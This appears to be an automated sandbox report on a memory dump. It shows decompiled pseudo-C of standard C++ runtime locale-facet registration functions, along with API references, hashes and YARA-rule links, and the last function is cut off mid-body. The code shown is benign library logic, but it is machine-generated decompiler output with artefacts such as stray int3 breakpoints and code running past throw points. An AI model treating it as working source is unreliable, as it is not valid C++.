			E6DD1A2F1(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v4;
				intOrPtr* _v12;
				void* _v16;
				char _v20;
				char _v32;
				void* _t21;
				intOrPtr* _t22;
				intOrPtr* _t44;
				void* _t52;

				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t52 =  *0x6ddd6cd4; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t52;
				_t21 = E6DCF161C(0x6ddd6cc0);
				_t40 = _a8;
				_t22 = E6DCF171B(_a8, _t21);
				_t50 = _t22;
				if(_t22 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t50);
				} else {
					if(_t52 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD1AB08(__ebx, _t40, __edx, _t50, _t52) - 0xffffffff;
						if(__eflags == 0) {
							_t44 =  &_v32;
							E6DCF1438(_t44);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							_push(_t44);
							 *((intOrPtr*)(_t44 + 4)) = _a4;
							_v12 = _t44;
							 *_t44 = 0x6dd7ba24;
							return _t44;
						} else {
							_t50 = _v16;
							_v16 = _t50;
							_v4 = 1;
							E6DD16FD3(__eflags, _t50);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t50 + 4))))();
							 *0x6ddd6cd4 = _t50;
							goto L5;
						}
					} else {
						_t50 = _t52;
						goto L5;
					}
				}
			}

0x6dd1a2f8
0x6dd1a302
0x6dd1a307
0x6dd1a312
0x6dd1a316
0x6dd1a319
0x6dd1a31e
0x6dd1a322
0x6dd1a327
0x6dd1a32b
0x6dd1a370
0x6dd1a373
0x6dd1a37f
0x6dd1a32d
0x6dd1a32f
0x6dd1a335
0x6dd1a33b
0x6dd1a343
0x6dd1a346
0x6dd1a380
0x6dd1a383
0x6dd1a391
0x6dd1a396
0x6dd1a39a
0x6dd1a39e
0x6dd1a3a3
0x6dd1a3a6
0x6dd1a3ad
0x6dd1a348
0x6dd1a348
0x6dd1a34b
0x6dd1a34f
0x6dd1a353
0x6dd1a360
0x6dd1a368
0x6dd1a36a
0x00000000
0x6dd1a36a
0x6dd1a331
0x6dd1a331
0x00000000
0x6dd1a331
0x6dd1a32f

APIs

__EH_prolog3.LIBCMT ref: 6DD1A2F8
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A302
int.LIBCPMT ref: 6DD1A319

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

numpunct.LIBCPMT ref: 6DD1A33C
std::_Facet_Register.LIBCPMT ref: 6DD1A353
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A373
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A391

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrownumpunct
String ID:
API String ID: 2509942033-0
Opcode ID: 07e09b2f6fe8951f5bad4bca44d9b03cc632e7a00f1e33ab9e13ccb0bd9ec081
Instruction ID: 4159d0ccdb41501b5c3eff4dd2aae71e6dc4656663b68f59b7180c6678a75d46
Opcode Fuzzy Hash: 07e09b2f6fe8951f5bad4bca44d9b03cc632e7a00f1e33ab9e13ccb0bd9ec081
Instruction Fuzzy Hash: B3115E7590C1299BCF01FBA8DC40AEDB775EF85724F164509F610AB290DF74AA068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BA8A, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6DD2BA8A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t55;
				signed int _t56;
				void* _t68;
				void* _t81;
				signed int _t131;
				signed int _t144;
				signed int _t145;
				signed int _t147;
				signed int _t148;
				signed int _t149;
				signed int _t150;
				void* _t154;

				_t141 = __edx;
				_t110 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t154 - 0x14, 0);
				_t147 =  *0x6ddd6e38; // 0x0
				 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
				 *(_t154 - 0x10) = _t147;
				_t55 = E6DCF161C(0x6ddd6e18);
				_t113 =  *((intOrPtr*)(_t154 + 8));
				_t56 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t55);
				_t143 = _t56;
				if(_t56 != 0) {
					L5:
					E6DD166BA(_t154 - 0x14);
					return E6DD30075(_t143);
				} else {
					if(_t147 == 0) {
						_push( *((intOrPtr*)(_t154 + 8)));
						_push(_t154 - 0x10);
						__eflags = E6DD2C1A4(__ebx, _t113, __edx, _t143, _t147) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t154 - 0x20);
							E6DD33D74(_t154 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t143, _t147, 0x14);
							E6DD16653(_t154 - 0x14, 0);
							_t148 =  *0x6ddd6e40; // 0x0
							 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
							 *(_t154 - 0x10) = _t148;
							_t68 = E6DCF161C(0x6ddd6e20);
							_t120 =  *((intOrPtr*)(_t154 + 8));
							_t144 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t68);
							__eflags = _t144;
							if(_t144 != 0) {
								L12:
								E6DD166BA(_t154 - 0x14);
								return E6DD30075(_t144);
							} else {
								__eflags = _t148;
								if(_t148 == 0) {
									_push( *((intOrPtr*)(_t154 + 8)));
									_push(_t154 - 0x10);
									__eflags = E6DD2C229(_t110, _t120, __edx, _t144, _t148) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t154 - 0x20);
										E6DD33D74(_t154 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t110, _t144, _t148, 0x14);
										E6DD16653(_t154 - 0x14, 0);
										_t149 =  *0x6ddd6e44; // 0x0
										 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
										 *(_t154 - 0x10) = _t149;
										_t81 = E6DCF161C(0x6ddd6e24);
										_t127 =  *((intOrPtr*)(_t154 + 8));
										_t145 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t81);
										__eflags = _t145;
										if(_t145 != 0) {
											L19:
											E6DD166BA(_t154 - 0x14);
											return E6DD30075(_t145);
										} else {
											__eflags = _t149;
											if(_t149 == 0) {
												_push( *((intOrPtr*)(_t154 + 8)));
												_push(_t154 - 0x10);
												__eflags = E6DD2C295(_t110, _t127, __edx, _t145, _t149) - 0xffffffff;
												if(__eflags == 0) {
													_t131 = _t154 - 0x20;
													E6DCF1438(_t131);
													E6DD33D74(_t154 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd7851f, _t110, _t145, _t149, 4);
													_t150 = _t131;
													 *(_t154 - 0x10) = _t150;
													 *((intOrPtr*)(_t150 + 4)) =  *((intOrPtr*)(_t154 + 0xc));
													_push( *((intOrPtr*)(_t154 + 0x14)));
													_t49 = _t154 - 4;
													 *_t49 =  *(_t154 - 4) & 0x00000000;
													__eflags =  *_t49;
													 *_t150 = 0x6dd7c414;
													 *((char*)(_t150 + 0x28)) =  *((intOrPtr*)(_t154 + 0x10));
													E6DD2D028(_t110, _t131, _t141, _t145, _t150,  *_t49);
													return E6DD30075(_t150,  *((intOrPtr*)(_t154 + 8)));
												} else {
													_t145 =  *(_t154 - 0x10);
													 *(_t154 - 0x10) = _t145;
													 *(_t154 - 4) = 1;
													E6DD16FD3(__eflags, _t145);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t145 + 4))))();
													 *0x6ddd6e44 = _t145;
													goto L19;
												}
											} else {
												_t145 = _t149;
												goto L19;
											}
										}
									} else {
										_t144 =  *(_t154 - 0x10);
										 *(_t154 - 0x10) = _t144;
										 *(_t154 - 4) = 1;
										E6DD16FD3(__eflags, _t144);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t144 + 4))))();
										 *0x6ddd6e40 = _t144;
										goto L12;
									}
								} else {
									_t144 = _t148;
									goto L12;
								}
							}
						} else {
							_t143 =  *(_t154 - 0x10);
							 *(_t154 - 0x10) = _t143;
							 *(_t154 - 4) = 1;
							E6DD16FD3(__eflags, _t143);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t143 + 4))))();
							 *0x6ddd6e38 = _t143;
							goto L5;
						}
					} else {
						_t143 = _t147;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD2BA91
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BA9B
int.LIBCPMT ref: 6DD2BAB2

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD2BAD5
std::_Facet_Register.LIBCPMT ref: 6DD2BAEC
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BB0C
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BB2A

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: 9eb5b9398ec300fc044f9fb77d15cf1d68bb1a67995d8dee9331d27a363592af
Instruction ID: 3c2bfb798d3a1011e36bc93a50bdd4d7d6085e7fb24851fd03fa6d865fe93e7f
Opcode Fuzzy Hash: 9eb5b9398ec300fc044f9fb77d15cf1d68bb1a67995d8dee9331d27a363592af
Instruction Fuzzy Hash: 8A11A376908129CBCF01FBA8CC40AFEB774AF95728F174409F610A7294DBB4A901C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F229, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F229(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t251;
				signed int _t252;
				void* _t264;
				void* _t277;
				void* _t290;
				void* _t303;
				void* _t316;
				void* _t329;
				void* _t342;
				void* _t355;
				void* _t368;
				void* _t381;
				void* _t394;
				void* _t407;
				void* _t420;
				void* _t433;
				void* _t446;
				void* _t459;
				signed int _t663;
				signed int _t718;
				signed int _t719;
				signed int _t720;
				signed int _t721;
				signed int _t722;
				signed int _t723;
				signed int _t724;
				signed int _t725;
				signed int _t726;
				signed int _t727;
				signed int _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t735;
				signed int _t736;
				signed int _t737;
				signed int _t738;
				signed int _t739;
				signed int _t740;
				signed int _t741;
				signed int _t742;
				signed int _t743;
				signed int _t744;
				signed int _t745;
				signed int _t746;
				signed int _t747;
				signed int _t748;
				signed int _t749;
				signed int _t750;
				signed int _t751;
				signed int _t752;
				void* _t770;

				_t715 = __edx;
				_t544 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t770 - 0x14, 0);
				_t735 =  *0x6ddd6db8; // 0x0
				 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
				 *(_t770 - 0x10) = _t735;
				_t251 = E6DCF161C(0x6ddd6d6c);
				_t547 =  *((intOrPtr*)(_t770 + 8));
				_t252 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t251);
				_t717 = _t252;
				if(_t252 != 0) {
					L5:
					E6DD166BA(_t770 - 0x14);
					return E6DD30075(_t717);
				} else {
					if(_t735 == 0) {
						_push( *((intOrPtr*)(_t770 + 8)));
						_push(_t770 - 0x10);
						__eflags = E6DD20F1F(__ebx, _t547, __edx, _t717, _t735) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t770 - 0x20);
							E6DD33D74(_t770 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t717, _t735, 0x14);
							E6DD16653(_t770 - 0x14, 0);
							_t736 =  *0x6ddd6dec; // 0x0
							 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
							 *(_t770 - 0x10) = _t736;
							_t264 = E6DCF161C(0x6ddd6d98);
							_t554 =  *((intOrPtr*)(_t770 + 8));
							_t718 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t264);
							__eflags = _t718;
							if(_t718 != 0) {
								L12:
								E6DD166BA(_t770 - 0x14);
								return E6DD30075(_t718);
							} else {
								__eflags = _t736;
								if(_t736 == 0) {
									_push( *((intOrPtr*)(_t770 + 8)));
									_push(_t770 - 0x10);
									__eflags = E6DD20F87(_t544, _t554, __edx, _t718, _t736) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t770 - 0x20);
										E6DD33D74(_t770 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t544, _t718, _t736, 0x14);
										E6DD16653(_t770 - 0x14, 0);
										_t737 =  *0x6ddd6dbc; // 0x0
										 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
										 *(_t770 - 0x10) = _t737;
										_t277 = E6DCF161C(0x6ddd6d70);
										_t561 =  *((intOrPtr*)(_t770 + 8));
										_t719 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t277);
										__eflags = _t719;
										if(_t719 != 0) {
											L19:
											E6DD166BA(_t770 - 0x14);
											return E6DD30075(_t719);
										} else {
											__eflags = _t737;
											if(_t737 == 0) {
												_push( *((intOrPtr*)(_t770 + 8)));
												_push(_t770 - 0x10);
												__eflags = E6DD20FEF(_t544, _t561, __edx, _t719, _t737) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t770 - 0x20);
													E6DD33D74(_t770 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t544, _t719, _t737, 0x14);
													E6DD16653(_t770 - 0x14, 0);
													_t738 =  *0x6ddd6df0; // 0x0
													 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
													 *(_t770 - 0x10) = _t738;
													_t290 = E6DCF161C(0x6ddd6d9c);
													_t568 =  *((intOrPtr*)(_t770 + 8));
													_t720 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t290);
													__eflags = _t720;
													if(_t720 != 0) {
														L26:
														E6DD166BA(_t770 - 0x14);
														return E6DD30075(_t720);
													} else {
														__eflags = _t738;
														if(_t738 == 0) {
															_push( *((intOrPtr*)(_t770 + 8)));
															_push(_t770 - 0x10);
															__eflags = E6DD21057(_t544, _t568, _t715, _t720, _t738) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t770 - 0x20);
																E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t544, _t720, _t738, 0x14);
																E6DD16653(_t770 - 0x14, 0);
																_t739 =  *0x6ddd6dc0; // 0x0
																 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																 *(_t770 - 0x10) = _t739;
																_t303 = E6DCF161C(0x6ddd6d74);
																_t575 =  *((intOrPtr*)(_t770 + 8));
																_t721 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t303);
																__eflags = _t721;
																if(_t721 != 0) {
																	L33:
																	E6DD166BA(_t770 - 0x14);
																	return E6DD30075(_t721);
																} else {
																	__eflags = _t739;
																	if(_t739 == 0) {
																		_push( *((intOrPtr*)(_t770 + 8)));
																		_push(_t770 - 0x10);
																		__eflags = E6DD210BF(_t544, _t575, _t715, _t721, _t739) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t770 - 0x20);
																			E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t544, _t721, _t739, 0x14);
																			E6DD16653(_t770 - 0x14, 0);
																			_t740 =  *0x6ddd6df8; // 0x0
																			 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																			 *(_t770 - 0x10) = _t740;
																			_t316 = E6DCF161C(0x6ddd6da4);
																			_t582 =  *((intOrPtr*)(_t770 + 8));
																			_t722 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t316);
																			__eflags = _t722;
																			if(_t722 != 0) {
																				L40:
																				E6DD166BA(_t770 - 0x14);
																				return E6DD30075(_t722);
																			} else {
																				__eflags = _t740;
																				if(_t740 == 0) {
																					_push( *((intOrPtr*)(_t770 + 8)));
																					_push(_t770 - 0x10);
																					__eflags = E6DD21127(_t544, _t582, _t715, _t722, _t740) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t770 - 0x20);
																						E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t544, _t722, _t740, 0x14);
																						E6DD16653(_t770 - 0x14, 0);
																						_t741 =  *0x6ddd6df4; // 0x0
																						 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																						 *(_t770 - 0x10) = _t741;
																						_t329 = E6DCF161C(0x6ddd6da0);
																						_t589 =  *((intOrPtr*)(_t770 + 8));
																						_t723 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t329);
																						__eflags = _t723;
																						if(_t723 != 0) {
																							L47:
																							E6DD166BA(_t770 - 0x14);
																							return E6DD30075(_t723);
																						} else {
																							__eflags = _t741;
																							if(_t741 == 0) {
																								_push( *((intOrPtr*)(_t770 + 8)));
																								_push(_t770 - 0x10);
																								__eflags = E6DD211AB(_t544, _t589, _t715, _t723, _t741) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t770 - 0x20);
																									E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t544, _t723, _t741, 0x14);
																									E6DD16653(_t770 - 0x14, 0);
																									_t742 =  *0x6ddd6dc8; // 0x0
																									 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																									 *(_t770 - 0x10) = _t742;
																									_t342 = E6DCF161C(0x6ddd6d7c);
																									_t596 =  *((intOrPtr*)(_t770 + 8));
																									_t724 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t342);
																									__eflags = _t724;
																									if(_t724 != 0) {
																										L54:
																										E6DD166BA(_t770 - 0x14);
																										return E6DD30075(_t724);
																									} else {
																										__eflags = _t742;
																										if(_t742 == 0) {
																											_push( *((intOrPtr*)(_t770 + 8)));
																											_push(_t770 - 0x10);
																											__eflags = E6DD21230(_t544, _t596, _t715, _t724, _t742) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t770 - 0x20);
																												E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t544, _t724, _t742, 0x14);
																												E6DD16653(_t770 - 0x14, 0);
																												_t743 =  *0x6ddd6dc4; // 0x0
																												 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																												 *(_t770 - 0x10) = _t743;
																												_t355 = E6DCF161C(0x6ddd6d78);
																												_t603 =  *((intOrPtr*)(_t770 + 8));
																												_t725 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t355);
																												__eflags = _t725;
																												if(_t725 != 0) {
																													L61:
																													E6DD166BA(_t770 - 0x14);
																													return E6DD30075(_t725);
																												} else {
																													__eflags = _t743;
																													if(_t743 == 0) {
																														_push( *((intOrPtr*)(_t770 + 8)));
																														_push(_t770 - 0x10);
																														__eflags = E6DD212B4(_t544, _t603, _t715, _t725, _t743) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t770 - 0x20);
																															E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t544, _t725, _t743, 0x14);
																															E6DD16653(_t770 - 0x14, 0);
																															_t744 =  *0x6ddd6dd8; // 0x0
																															 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																															 *(_t770 - 0x10) = _t744;
																															_t368 = E6DCF161C(0x6ddd6d84);
																															_t610 =  *((intOrPtr*)(_t770 + 8));
																															_t726 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t368);
																															__eflags = _t726;
																															if(_t726 != 0) {
																																L68:
																																E6DD166BA(_t770 - 0x14);
																																return E6DD30075(_t726);
																															} else {
																																__eflags = _t744;
																																if(_t744 == 0) {
																																	_push( *((intOrPtr*)(_t770 + 8)));
																																	_push(_t770 - 0x10);
																																	__eflags = E6DD21339(_t544, _t610, _t715, _t726, _t744) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t770 - 0x20);
																																		E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t544, _t726, _t744, 0x14);
																																		E6DD16653(_t770 - 0x14, 0);
																																		_t745 =  *0x6ddd6db0; // 0x0
																																		 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																		 *(_t770 - 0x10) = _t745;
																																		_t381 = E6DCF161C(0x6ddd6d64);
																																		_t617 =  *((intOrPtr*)(_t770 + 8));
																																		_t727 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t381);
																																		__eflags = _t727;
																																		if(_t727 != 0) {
																																			L75:
																																			E6DD166BA(_t770 - 0x14);
																																			return E6DD30075(_t727);
																																		} else {
																																			__eflags = _t745;
																																			if(_t745 == 0) {
																																				_push( *((intOrPtr*)(_t770 + 8)));
																																				_push(_t770 - 0x10);
																																				__eflags = E6DD213A1(_t544, _t617, _t715, _t727, _t745) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t770 - 0x20);
																																					E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t544, _t727, _t745, 0x14);
																																					E6DD16653(_t770 - 0x14, 0);
																																					_t746 =  *0x6ddd6ddc; // 0x0
																																					 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																					 *(_t770 - 0x10) = _t746;
																																					_t394 = E6DCF161C(0x6ddd6d88);
																																					_t624 =  *((intOrPtr*)(_t770 + 8));
																																					_t728 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t394);
																																					__eflags = _t728;
																																					if(_t728 != 0) {
																																						L82:
																																						E6DD166BA(_t770 - 0x14);
																																						return E6DD30075(_t728);
																																					} else {
																																						__eflags = _t746;
																																						if(_t746 == 0) {
																																							_push( *((intOrPtr*)(_t770 + 8)));
																																							_push(_t770 - 0x10);
																																							__eflags = E6DD21409(_t544, _t624, _t715, _t728, _t746) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t770 - 0x20);
																																								E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t544, _t728, _t746, 0x14);
																																								E6DD16653(_t770 - 0x14, 0);
																																								_t747 =  *0x6ddd6de0; // 0x0
																																								 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																								 *(_t770 - 0x10) = _t747;
																																								_t407 = E6DCF161C(0x6ddd6d8c);
																																								_t631 =  *((intOrPtr*)(_t770 + 8));
																																								_t729 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t407);
																																								__eflags = _t729;
																																								if(_t729 != 0) {
																																									L89:
																																									E6DD166BA(_t770 - 0x14);
																																									return E6DD30075(_t729);
																																								} else {
																																									__eflags = _t747;
																																									if(_t747 == 0) {
																																										_push( *((intOrPtr*)(_t770 + 8)));
																																										_push(_t770 - 0x10);
																																										__eflags = E6DD21471(_t544, _t631, _t715, _t729, _t747) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t770 - 0x20);
																																											E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t544, _t729, _t747, 0x14);
																																											E6DD16653(_t770 - 0x14, 0);
																																											_t748 =  *0x6ddd6dfc; // 0x0
																																											 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																											 *(_t770 - 0x10) = _t748;
																																											_t420 = E6DCF161C(0x6ddd6da8);
																																											_t638 =  *((intOrPtr*)(_t770 + 8));
																																											_t730 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t420);
																																											__eflags = _t730;
																																											if(_t730 != 0) {
																																												L96:
																																												E6DD166BA(_t770 - 0x14);
																																												return E6DD30075(_t730);
																																											} else {
																																												__eflags = _t748;
																																												if(_t748 == 0) {
																																													_push( *((intOrPtr*)(_t770 + 8)));
																																													_push(_t770 - 0x10);
																																													__eflags = E6DD214EC(_t544, _t638, _t715, _t730, _t748) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t770 - 0x20);
																																														E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t544, _t730, _t748, 0x14);
																																														E6DD16653(_t770 - 0x14, 0);
																																														_t749 =  *0x6ddd6dcc; // 0x0
																																														 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																														 *(_t770 - 0x10) = _t749;
																																														_t433 = E6DCF161C(0x6ddd6d80);
																																														_t645 =  *((intOrPtr*)(_t770 + 8));
																																														_t731 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t433);
																																														__eflags = _t731;
																																														if(_t731 != 0) {
																																															L103:
																																															E6DD166BA(_t770 - 0x14);
																																															return E6DD30075(_t731);
																																														} else {
																																															__eflags = _t749;
																																															if(_t749 == 0) {
																																																_push( *((intOrPtr*)(_t770 + 8)));
																																																_push(_t770 - 0x10);
																																																__eflags = E6DD21558(_t544, _t645, _t715, _t731, _t749) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E6DCF1438(_t770 - 0x20);
																																																	E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd783cf, _t544, _t731, _t749, 0x14);
																																																	E6DD16653(_t770 - 0x14, 0);
																																																	_t750 =  *0x6ddd6e00; // 0x0
																																																	 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																																	 *(_t770 - 0x10) = _t750;
																																																	_t446 = E6DCF161C(0x6ddd6dac);
																																																	_t652 =  *((intOrPtr*)(_t770 + 8));
																																																	_t732 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t446);
																																																	__eflags = _t732;
																																																	if(_t732 != 0) {
																																																		L110:
																																																		E6DD166BA(_t770 - 0x14);
																																																		return E6DD30075(_t732);
																																																	} else {
																																																		__eflags = _t750;
																																																		if(_t750 == 0) {
																																																			_push( *((intOrPtr*)(_t770 + 8)));
																																																			_push(_t770 - 0x10);
																																																			__eflags = E6DD215C4(_t544, _t652, _t715, _t732, _t750) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E6DCF1438(_t770 - 0x20);
																																																				E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																																				asm("int3");
																																																				E6DD300AC(0x6dd783cf, _t544, _t732, _t750, 0x14);
																																																				E6DD16653(_t770 - 0x14, 0);
																																																				_t751 =  *0x6ddd6dd0; // 0x0
																																																				 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																																				 *(_t770 - 0x10) = _t751;
																																																				_t459 = E6DCF161C(0x6ddd6d60);
																																																				_t659 =  *((intOrPtr*)(_t770 + 8));
																																																				_t733 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t459);
																																																				__eflags = _t733;
																																																				if(_t733 != 0) {
																																																					L117:
																																																					E6DD166BA(_t770 - 0x14);
																																																					return E6DD30075(_t733);
																																																				} else {
																																																					__eflags = _t751;
																																																					if(_t751 == 0) {
																																																						_push( *((intOrPtr*)(_t770 + 8)));
																																																						_push(_t770 - 0x10);
																																																						__eflags = E6DD2162A(_t544, _t659, _t715, _t733, _t751) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							_t663 = _t770 - 0x20;
																																																							E6DCF1438(_t663);
																																																							E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																																							asm("int3");
																																																							E6DD300AC(0x6dd7851f, _t544, _t733, _t751, 4);
																																																							_t752 = _t663;
																																																							 *(_t770 - 0x10) = _t752;
																																																							 *((intOrPtr*)(_t752 + 4)) =  *((intOrPtr*)(_t770 + 0xc));
																																																							_push( *((intOrPtr*)(_t770 + 0x14)));
																																																							_t245 = _t770 - 4;
																																																							 *_t245 =  *(_t770 - 4) & 0x00000000;
																																																							__eflags =  *_t245;
																																																							 *_t752 = 0x6dd7c0c4;
